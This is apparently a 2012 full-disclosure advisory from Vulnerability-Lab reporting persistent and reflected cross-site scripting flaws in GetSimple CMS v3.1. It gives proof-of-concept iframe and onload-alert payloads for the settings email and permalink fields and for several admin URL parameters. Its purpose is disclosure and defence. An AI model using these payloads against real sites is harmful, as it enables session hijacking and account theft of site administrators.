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Date: Sat, 12 May 2012 11:50:01 +0200
From: Research <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: GetSimple CMS v3.1 - Multiple Web Vulnerabilities
Title:
======
GetSimple CMS v3.1 - Multiple Web Vulnerabilities
Date:
=====
2012-05-04
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=521
VL-ID:
=====
521
Common Vulnerability Scoring System:
====================================
5
Introduction:
=============
GetSimple is an XML based lite Content Management System. To go along with it s best-in-class user
interface, we have loaded it with features that every website needs, but with nothing it doesn t.
GetSimple has the ability to perform a simple Undo on just about every action. Combined with our
intuitive UI makes for a great web editing user experience.
- XML based data storage (no MySQL needed)
- Best-in-Class User Interface
- Protection from yourself (undo most actions)
- Extremely easy to theme
- Great support forum & wiki
- Fully Internationalized core code & plugins
- Entire code base is documented with PHPDoc standards
- Integrated WYSIWYG editor with file-browser & internal linker
- HTML5/CSS3 default theme
- Built in sitemap.xml generator
- Long list of available plugins by great developers
- Fully internationalized control panel
(Copy of the Vendor Homepage: http://get-simple.info )
Abstract:
=========
The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in GetSimple CMS v3.1.
Report-Timeline:
================
2012-04-16: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in GetSimple v3.1 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bug is located on the email & permalink
input fields of the application websettings.
Vulnerable Module(s):
[+] Website Settings - Email
[+] Website Settings - Custom Permalink Structure
Picture(s):
../1.png
../2.png
1.2
Multiple non persistent cross site scripting vulnerabilities are detected in GetSimple v3.1 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.
Vulnerable Module(s):
[+] Err
[+] Error
[+] Success
[+] Path
Picture(s):
../3.png
../4.png
Proof of Concept:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
user inter action. For demonstration or reproduce ...
Review: Website Settings - Email
<div class="rightsec">
<p>
<label for="email">Email Address:</label>​​​​​<input class="text" id="email" name="email" value="" type="text">
<iframe src="a" onload='alert("VulnerabilityLab")' <@home.com"=""></p>
<p style="margin:-15px 0 20px 0;color:#D94136;font-size:11px;"
>WARNING: This email address does not look valid!</p>
</div>
<div class="clear"></div>
URL: http://127.0.0.1:80/getsimple/admin/settings.php
Review: Website Settings - Custom Permalink Structure
<div class="leftsec">
<p><label for="permalink" >Custom Permalink Structure:</label>
<input class="text" name="permalink" id="permalink" type="text" value="">
<iframe src=a onload=alert("VL") <" /><br /><a href="http://get-simple.info/wiki/pretty_urls"
style="font-size:11px;" target="_blank" >Learn More...</a></p>
</div>
1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high
required user inter action. For demonstration or reproduce ...
Upload Function - Path
http://127.0.0.1:80/getsimple/admin/upload.php?path=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E&newfolder=rem0ve
Exception Handling - Error & Err
http://127.0.0.1:80/getsimple/admin/theme.php?err=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://127.0.0.1:80/getsimple/admin/pages.php?error=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
Logout - Success
http://127.0.0.1:80/getsimple/admin/index.php?success=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E
Login - Err
http://127.0.0.1:80/getsimple/admin/index.php?err=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E
Risk:
=====
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium.
1.2
The security risk of the client site cross site scripting vulnerabilities are estimated as medium(-).
Credits:
========
Vulnerability Laboratory [Research Team] - Chokri B.A. (meister@...nerability-lab.com)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply.
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Copyright © 2012 Vulnerability-Lab
--
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Mail: research@...nerability-lab.com
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